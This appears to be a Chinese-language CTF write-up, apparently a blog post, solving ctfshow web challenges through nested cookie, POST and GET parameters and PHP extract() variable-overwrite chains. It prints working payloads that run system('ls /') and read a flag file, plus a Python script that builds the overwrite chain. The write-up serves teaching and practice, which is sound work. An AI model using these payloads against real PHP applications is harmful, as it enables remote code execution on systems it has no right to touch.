web签到
首先最里面的是ctfshow-QQ群:,而他需要进行cookie传参,因此我们需要在cookie传入CTFshow-QQ群=a,然后就要以POST方式传入a的值,我们传入a=b,而b是以GET方式来传入b的值,所以我们传入c=b,最后我们需要知道$_REQUEST是以任何一种方式请求都可以,而c为数组,$_REQUEST请求中传入的值赋给c[6][0][7][5][8][0][9][4][4]
payload:
post:a=b
cookie:CTFshow-QQ%E7%BE%A4:=a
get:?b=c&c[6][0][7][5][8][0][9][4][4]=system('ls /');
(这里需要把群进行url编码)
我的眼里只有$
这是一道extract()函数引起的变量覆盖漏洞
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。
1、这道题将post传入的值通过extract函数进行处理。
2、不断的进行变量覆盖(套娃)
例如当我们Post传入_=a时,那么$_=a,再传入a=b时$$_=b,以此类推,而最后一个值就是我们eval的值。
所以我们需要传入_=a&a=b&b=c.......
因为传的参数较多,所以我们写一个脚本就可以了。
import string s = string.ascii_letters t='_=a&' code="system('ls /');" for i in range(35): t+=s[i]+"="+s[i+1]+'&' t+=s[i]+'='+code print(t)
payload:_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(cat f1agaaa);
有一道和这相似的一道题:
首先看这一串代码可知道,这也是一道extract函数变量覆盖的题,首先他的text值我们是不知道的,但他利用了extract这个函数对get传入的值进行了处理,并且最终只要$gift等于$content便可以获得flag,而他的$content是通过变量$test获得的,但是我们不知道test的值。所以这时候我们就需要利用变量覆盖漏洞给test重新赋值就行了
payload:gift=a&test= a
标签:变量,传入,菜鸟,system,ctf,test,extract,函数 From: https://www.cnblogs.com/kode00/p/16994166.html